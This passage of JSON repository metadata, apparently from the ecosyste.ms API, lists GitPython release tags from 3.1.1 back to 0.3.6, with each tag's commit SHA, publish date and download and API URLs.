tpython-developers/GitPython/tar.gz/3.1.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.1/manifests","release_url":null},{"name":"3.1.0","sha":"8c9da7310eb6adf67fa8d35821ba500dffd9a2a7","kind":"commit","published_at":"2020-02-24T11:43:03.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.1.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.1.0/manifests","release_url":null},{"name":"3.0.9","sha":"4f358e04cb00647e1c74625a8f669b6803abd1fe","kind":"commit","published_at":"2020-02-24T06:46:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.9/manifests","release_url":null},{"name":"3.0.8","sha":"bc553d6843c791fc4ad88d60b7d5b850a13fd0ac","kind":"tag","published_at":"2020-02-17T01:25:50.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.8/manifests","release_url":null},{"name":"2.1.15","sha":"09ac0a109fd3a032e19ccc3017a9e1c79cda057a","kind":"commit","published_at":"2020-02-16T18:48:16.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.15","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.15","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.15","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.15","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.15/manifests","release_url":null},{"name":"3.0.7","sha":"91f6e625da81cb43ca8bc961da0c060f23777fd1","kind":"tag","published_at":"2020-02-08T03:28:08.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.7/manifests","release_url":null},{"name":"3.0.6","sha":"3e82a7845af93955d24a661a1a9acf8dbcce50b6","kind":"tag","published_at":"2020-02-08T03:03:17.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.6/manifests","release_url":null},{"name":"3.0.5","sha":"85cf7e89682d061ea86514c112dfb684af664d45","kind":"tag","published_at":"2019-11-14T01:00:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.5/manifests","release_url":null},{"name":"3.0.4","sha":"74930577ec77fefe6ae9989a5aeb8f244923c9ac","kind":"tag","published_at":"2019-10-22T10:47:54.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.4/manifests","release_url":null},{"name":"3.0.3","sha":"23b83cd6a10403b5fe478932980bdd656280844d","kind":"commit","published_at":"2019-10-02T18:39:49.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.3/manifests","release_url":null},{"name":"3.0.2","sha":"07657929bc6c0339d4d2e7e1dde1945199374b90","kind":"tag","published_at":"2019-08-22T03:28:14.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.2/manifests","release_url":null},{"name":"3.0.1","sha":"5ff2f4f7a2f8212a68aff34401e66a5905f70f51","kind":"tag","published_at":"2019-08-15T02:49:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.1/manifests","release_url":null},{"name":"2.1.14","sha":"a34d515d181f095c477ab35ccae00412219fad42","kind":"tag","published_at":"2019-08-14T10:08:02.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.14","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.14/manifests","release_url":null},{"name":"3.0.0","sha":"5fa99bff215249378f90e1ce0254e66af155a301","kind":"tag","published_at":"2019-08-12T03:18:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/3.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@3.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/3.0.0/manifests","release_url":null},{"name":"2.1.13","sha":"859ad046aecc077b9118f0a1c2896e3f9237cd75","kind":"tag","published_at":"2019-07-29T00:02:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.13","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.13","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.13","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.13","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.13/manifests","release_url":null},{"name":"2.1.12","sha":"ce7e1507fa5f6faf049794d4d47b14157d1f2e50","kind":"tag","published_at":"2019-07-21T00:46:47.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.12","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.12","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.12","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.12","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.12/manifests","release_url":null},{"name":"2.1.11","sha":"92a481966870924604113c50645c032fa43ffb1d","kind":"commit","published_at":"2018-07-15T13:35:57.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.11","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.11","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.11","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.11","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.11/manifests","release_url":null},{"name":"2.1.10","sha":"6c2446f24bc6a91ca907cb51d0b4a690131222d6","kind":"tag","published_at":"2018-05-19T08:54:32.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.10","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.10","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.10","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.10","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.10/manifests","release_url":null},{"name":"2.1.9","sha":"e79a3f8f6bc6594002a0747dd4595bc6b88a2b27","kind":"tag","published_at":"2018-03-24T12:51:05.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.9/manifests","release_url":null},{"name":"2.1.8","sha":"9d15bc65735852d3dce5ca6d779a90a50c5323b8","kind":"tag","published_at":"2017-12-11T16:32:20.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.8/manifests","release_url":null},{"name":"2.1.7","sha":"ccff34d6834a038ef71f186001a34b15d0b73303","kind":"commit","published_at":"2017-09-28T14:17:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.7/manifests","release_url":null},{"name":"2.1.6","sha":"edb28b9b2c2bd699da0cdf5a4f3f0f0883ab33a2","kind":"commit","published_at":"2017-09-25T19:16:04.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.6/manifests","release_url":null},{"name":"2.1.5","sha":"fc4e3cc8521f8315e98f38c5550d3f179933f340","kind":"commit","published_at":"2017-06-10T18:20:41.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.5/manifests","release_url":null},{"name":"2.1.4","sha":"6420d2e3a914da1b4ae46c54b9eaa3c43d8fd060","kind":"commit","published_at":"2017-06-10T17:18:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.4/manifests","release_url":null},{"name":"2.1.3","sha":"c23ae3a48bb37ae7ebd6aacc8539fee090ca34bd","kind":"commit","published_at":"2017-03-08T05:36:54.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.3/manifests","release_url":null},{"name":"2.1.2","sha":"f8c31c6a6e9ffbfdbd292b8d687809b57644de27","kind":"commit","published_at":"2017-03-08T05:30:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.2/manifests","release_url":null},{"name":"2.1.1","sha":"c823d482d03caa8238b48714af4dec6d9e476520","kind":"commit","published_at":"2016-12-08T15:43:35.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.1/manifests","release_url":null},{"name":"2.1.0","sha":"8c3a6889b654892b3636212b880fa50df0358679","kind":"commit","published_at":"2016-10-22T14:03:48.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.1.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.1.0/manifests","release_url":null},{"name":"2.0.9","sha":"ff389af9374116c47e3dc4f8a5979784bf1babff","kind":"commit","published_at":"2016-10-16T10:48:36.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.9","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.9/manifests","release_url":null},{"name":"winerr_show","sha":"6df78b19b7786b15c664a7a1e0bcbb3e7c80f8da","kind":"commit","published_at":"2016-10-03T02:00:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/winerr_show","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/winerr_show","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@winerr_show","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/winerr_show","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/winerr_show/manifests","release_url":null},{"name":"2.0.8","sha":"5d4d70844417bf484ca917326393ca31ff0d22bc","kind":"commit","published_at":"2016-08-03T04:37:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.8","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.8/manifests","release_url":null},{"name":"2.0.7","sha":"49a9f84461fa907da786e91e1a8c29d38cdb70eb","kind":"commit","published_at":"2016-07-17T08:04:16.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.7/manifests","release_url":null},{"name":"2.0.6","sha":"06571d7f6a260eda9ff7817764f608b731785d6b","kind":"commit","published_at":"2016-06-20T07:11:07.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.6/manifests","release_url":null},{"name":"2.0.5","sha":"88716d3be8d9393fcf5695dd23efb9c252d1b09e","kind":"commit","published_at":"2016-05-30T19:23:51.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.5","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.5/manifests","release_url":null},{"name":"2.0.4","sha":"2f91ab7bb0dadfd165031f846ae92c9466dceb66","kind":"commit","published_at":"2016-05-30T17:21:35.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.4","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.4/manifests","release_url":null},{"name":"2.0.3","sha":"d66f2b53af0d8194ee952d90f4dc171aa426c545","kind":"commit","published_at":"2016-05-24T17:32:58.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.3","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.3/manifests","release_url":null},{"name":"2.0.2","sha":"e73c80dd2dd1c82410fb1ee0e44eca6a73d9f052","kind":"commit","published_at":"2016-04-28T14:41:53.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.2/manifests","release_url":null},{"name":"2.0.1","sha":"eedf3c133a9137723f98df5cd407265c24cc2704","kind":"commit","published_at":"2016-04-24T15:12:25.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.1/manifests","release_url":null},{"name":"2.0.0","sha":"819c4ed8b443baee06472680f8d36022cb9c3240","kind":"commit","published_at":"2016-04-22T16:31:11.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/2.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/2.0.0/manifests","release_url":null},{"name":"0.3.2.1-patched","sha":"7b9c0c7f0a47360d8ab4e81d5655aaa3d5c814e6","kind":"tag","published_at":"2016-03-15T19:19:10.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.2.1-patched","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.2.1-patched","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.2.1-patched","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1-patched","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.2.1-patched/manifests","release_url":null},{"name":"1.0.2","sha":"dbc07b421172da4ef3153753709271a71af6966a","kind":"commit","published_at":"2016-02-11T04:06:42.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.2","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.2/manifests","release_url":null},{"name":"1.0.1","sha":"2c594195eb614a200e1abb85706ec7b8b7c91268","kind":"commit","published_at":"2015-04-22T07:24:15.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.1","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.1/manifests","release_url":null},{"name":"1.0.0","sha":"21b0448b65317b2830270ff4156a25aca7941472","kind":"commit","published_at":"2015-04-08T13:48:28.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/1.0.0","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/1.0.0/manifests","release_url":null},{"name":"0.3.7","sha":"3470e269bcdc9091d0c5e25e7c09ce175c7cee77","kind":"commit","published_at":"2015-04-08T13:14:37.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.7","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.7/manifests","release_url":null},{"name":"0.3.6","sha":"4df4159413a4bf30a891f21cd69202e8746c8fea","kind":"tag","published_at":"2015-01-22T18:08:19.000Z","download_url":"https://codeload.github.com/gitpython-developers/GitPython/tar.gz/0.3.6","html_url":"https://github.com/gitpython-developers/GitPython/releases/tag/0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/gitpython-developers/GitPython@0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/gitpython-developers%2FGitPython/tags/0.3.6","manife